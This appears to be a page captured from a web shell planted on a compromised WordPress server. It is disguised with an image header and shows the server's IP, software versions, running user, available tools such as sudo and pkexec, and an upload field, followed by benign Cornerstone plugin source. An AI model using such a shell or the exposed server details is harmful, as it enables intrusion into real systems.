????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.145.167.178 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/plugins/cornerstone/includes/classes/common/ |
Upload File : |
<?php /** * Commonly used functions and a repository for commonly accessed data. */ class Cornerstone_Common extends Cornerstone_Plugin_Component { private $fontIcons; /** * Instantiate */ public function setup() { $this->fontIcons = $this->plugin->config_group( 'common/font-icons' ); add_action( 'init', array( $this, 'init' ) ); $version = CS()->version(); if ( false !== strpos( $version, '-alpha' ) ) { $this->plugin->loadComponent( 'Alpha' ); } if ( false !== strpos( $version, '-' ) ) { $this->plugin->loadComponent( 'Prerelease' ); } } public function init() { if ( !is_user_logged_in() ) { add_action( 'template_redirect', array( $this, 'loginRedirect' ) ); } register_post_status( 'tco-data', array( 'label' => 'Data', 'label_count' => 'Data (%s)', 'internal' => true, ) ); } /** * Get a localized title. * @return string */ public function properTitle() { return __( 'Cornerstone', 'cornerstone' ); } /** * Get an array of post types allowed for Cornerstone. * This is based on both user role, and enabled post types * @return array */ public function getAllowedPostTypes() { $settings = $this->plugin->settings(); $user = wp_get_current_user(); $allowed_types = $settings['allowed_post_types']; $permitted_roles = $settings['permitted_roles']; if ( ! is_array( $settings['allowed_post_types'] ) ) { $allowed_types = explode( ',', $settings['allowed_post_types'] ); } $allowed_types = array_filter( $allowed_types ); if ( ! is_array( $settings['permitted_roles'] ) ) { $permitted_roles = explode( ',', $settings['permitted_roles'] ); } if ( !empty( $user ) && ( user_can( $user, 'manage_options' ) || count( array_intersect( $permitted_roles, (array) $user->roles ) ) > 0 ) ) return apply_filters( 'cornerstone_allowed_post_types', $allowed_types ); return array(); } /** * Get Font Icon Unicode Value as a string * @return string */ public function getFontIcon( $key ) { return ( isset( $this->fontIcons[ $key] ) ) ? $this->fontIcons[$key] : 'f00d'; } /** * Return font icon cache * @return array */ public function getFontIcons() { return $this->fontIcons; } /** * Check if a post's post_type is allowed for Cornerstone * @param object $post_id Can also accept a full post object * @return boolean */ public function isPostTypeAllowed( $post_id = '' ) { $post = $this->locatePost( $post_id ); return ( $post && in_array( $post->post_type, $this->getAllowedPostTypes() ) ); } /** * This is different than the "Allowed" function. It simply returns the global setting * regardless of user capability. * @param string $post_id Can also accept a full post object * @return boolean */ public function isPostTypeEnabled( $post_id = '' ) { $settings = $this->plugin->settings(); $post = $this->locatePost( $post_id ); $allowed_types = $settings['allowed_post_types']; if ( ! is_array( $settings['allowed_post_types'] ) ) { $allowed_types = explode( ',', $settings['allowed_post_types'] ); } return ( $post && in_array( $post->post_type, apply_filters( 'cornerstone_allowed_post_types', $allowed_types ) ) ); } /** * Get a URL that can be used to access Cornerstone for a given post. * @param string $post Accepts a post object, or post ID. Uses queried object if one isn't provided * @return string */ public function get_edit_url( $post = '' ) { $post = $this->locatePost( $post ); if ( !$post) return null; $url = $this->get_app_route_url( 'content', $post->ID, 'builder' ); // $args = apply_filters( 'cornerstone_edit_url_query_args', array( 'cornerstone' => 1 ) ); // // $no_permalinks = apply_filters( 'cornerstone_no_permalinks', false ); // // // if ( $no_permalinks ) { // // add_filter( 'page_link', array( $this, 'direct_page_link'), 10, 3 ); // // add_filter( 'post_link', array( $this, 'direct_post_link'), 10, 3 ); // // add_filter( 'post_type_link', array( $this, 'direct_custom_post_type_link'), 10, 4 ); // // } // // $url = add_query_arg( $args, get_permalink( $post->ID ) ); // // // if ( $no_permalinks ) { // // remove_filter( 'page_link', array( $this, 'direct_page_link') ); // // remove_filter( 'post_link', array( $this, 'direct_post_link') ); // // remove_filter( 'post_type_link', array( $this, 'direct_custom_post_type_link') ); // // } if ( force_ssl_admin() ) { $url = preg_replace( '#^http://#', 'https://', $url ); } return $url; } public function direct_page_link( $link, $post_id, $sample ) { return home_url( '?page_id=' . $post_id ); } public function direct_post_link( $permalink, $post, $leavename ) { return home_url('?p=' . $post->ID); } public function direct_custom_post_type_link( $post_link, $post, $leavename, $sample ) { return home_url( add_query_arg(array('post_type' => $post->post_type, 'p' => $post->ID), '') ); } /** * Get a WP_Post object from an ID or an automatic source * If $post_id is left black, it will be automatically populated (works in dashboard or on front end) * @param string $post_id * @return WP_Post */ public function locatePost( $post_id = '') { // Allow pass through of full post objects if ( isset( $post_id->ID ) ) return $post_id; // Get post by ID if ( is_int( $post_id ) ) return get_post( $post_id ); // Or, in the dashboard use a query string if ( is_admin() && isset($_GET['post']) ) return get_post( $_GET['post'] ); // Or, use the queried object if ( '' == $post_id ) { $post = get_queried_object(); if ( is_a( $post, 'WP_POST' )) return $post; } // Otherwise there's just no way... return false; } public function get_post_settings( $post_id ) { $settings = cs_get_serialized_post_meta( $post_id, '_cornerstone_settings', true ); return ( is_array( $settings ) ) ? $settings : array(); } /** * Detect if a post has saved Cornerstone data * @return bool true is Cornerstone meta exists */ public function uses_cornerstone( $post_id = '' ) { $post = $this->locatePost( $post_id ); if (!$post) return false; $rows = cs_get_serialized_post_meta( $post->ID, '_cornerstone_data', true ); $override = get_post_meta( $post->ID, '_cornerstone_override', true ); if ( !$rows || $override ) return false; return true; } /** * Potentially redirect a logged out user who was attempting to edit a page in Cornerstone. * @return none */ public function loginRedirect() { if ( isset($_GET['cornerstone']) && $_GET['cornerstone'] == 1 && $this->isPostTypeEnabled() ) { wp_redirect( add_query_arg( array( 'cornerstone' => '1' ), wp_login_url( get_the_permalink() ) ) ); } } /** * Previusly returned appropriate js extension depending on SCRIPT_DEBUG. * This was removed in 2.0.3 in favor of always serving minified files with sourcemaps * @return string */ public function jsSuffix() { return '.js'; } /** * Determine if we are debugging / developing * @return boolean */ public function isDebug() { $script_debug = ( defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ); $cs_debug = ( isset($_REQUEST['cs_debug']) && $_REQUEST['cs_debug'] == 1 ); return ( $script_debug || $cs_debug ); } /** * Create an image URI of a blank SVG image to be used as a placeholder * @return string */ public function placeholderImage( $height = '300', $width = '250', $color = '#eeeeee' ) { return 'data:image/svg+xml;base64,' . base64_encode( "<svg xmlns='http://www.w3.org/2000/svg' width='{$width}px' height='{$height}px' viewBox='0 0 {$width} {$height}' version='1.1'><rect fill='{$color}' x='0' y='0' width='{$width}' height='{$height}'></rect></svg>" ); } public function classMap( $group = '', $classes ) { $single = false; if ( ! is_array( $classes ) ) { $single = true; $classes = array( $classes ); } if ( ! isset( $this->cssClassMap ) ) { $this->cssClassMap = $this->plugin->config_group( 'common/class-map' ); } if ( ! isset( $this->cssClassMap[ $group ] ) ) { trigger_error( "Cornerstone_Common::classMap group: $group doesn't exist in class map.", E_USER_WARNING ); return array( '' ); } $this->cssClassMapGroup = $this->cssClassMap[ $group ]; $map = array_map( array( $this, 'classMapHandler' ), $classes ); return ( $single ) ? $map[0] : $map; } protected function classMapHandler( $class ) { if ( ! isset( $this->cssClassMapGroup[ $class ] ) ) { return ''; } return $this->cssClassMapGroup[ $class ]; } public function set_default_post_types( $types = array() ) { if ( is_array( $types ) ) { $this->default_post_types = $types; } add_filter( 'cornerstone_config_common_default-settings', array( $this, 'filter_default_post_types' ) ); } public function filter_default_post_types( $config ) { $config['allowed_post_types'] = $this->default_post_types; return $config; } public function is_validated() { return ( get_option( 'cs_product_validation_key', false ) !== false ); } public function get_post_capability( $post_id = false, $cap ) { $post = $this->locatePost( $post_id ); $post_type_object = get_post_type_object( $post->post_type ); $caps = (array) $post_type_object->cap; return $caps[ $cap ]; } public function get_app_slug() { $settings = $this->plugin->settings(); $slug = apply_filters( 'cornerstone_default_app_slug', 'cornerstone' ); if ( isset( $settings['custom_app_slug'] ) && '' !== $settings['custom_app_slug'] ) { $slug = sanitize_title_with_dashes( $settings['custom_app_slug'] ); } return $slug; } public function get_app_url() { return untrailingslashit( home_url( $this->plugin->common()->get_app_slug() ) ); } public function get_launch_url() { return $this->get_app_route_url(); } public function get_app_route_url( $route = '', $model_id = '', $route_context = '') { if ( ! $this->plugin->component( 'Router' )->is_permalink_structure_valid() ) { $args = array('cs-launch' => 1); if ( $route ) { $args['cs_route'] = esc_attr($route); if ( $route_context ) { $args['cs_route'] .= ".$route_context"; } if ( $model_id ) { $args['cs_route'] .= "/$model_id"; } } return add_query_arg( $args, home_url() ); } $url = $this->get_app_url(); if ( $route ) { $route = str_replace('.', '/', $route ); $url .= "/#/$route"; if ( $model_id ) { $url .= "/$model_id"; } } return $url; } public function sanitize_value( $value, $html = false ) { // Pass through non string values. // This Preserves data types, but watch out for arrays since we don't handle nested data here. if ( ! is_string( $value ) ) { return $value; } // Sanitize if ( $html ) { return $this->sanitize_html( $value ); } else { return sanitize_text_field( $value ); } } public function sanitize_html( $data ) { if ( current_user_can( 'unfiltered_html' ) ) { return $data; } return wp_kses( $data, $this->ksesTags() ); } public function ksesTags() { $tags = wp_kses_allowed_html( 'post' ); $tags['iframe'] = array ( 'align' => true, 'frameborder' => true, 'height' => true, 'width' => true, 'sandbox' => true, 'seamless' => true, 'scrolling' => true, 'srcdoc' => true, 'src' => true, 'class' => true, 'id' => true, 'style' => true, 'border' => true, 'list' => true //YouTube embeds ); return $tags; } public function theme_integration_options() { $defaults = $this->plugin->config_group( 'options/defaults' ); $retrieved = array(); foreach ($defaults as $name => $default) { $retrieved[$name] = get_option( $name, $default ); } return $retrieved; } }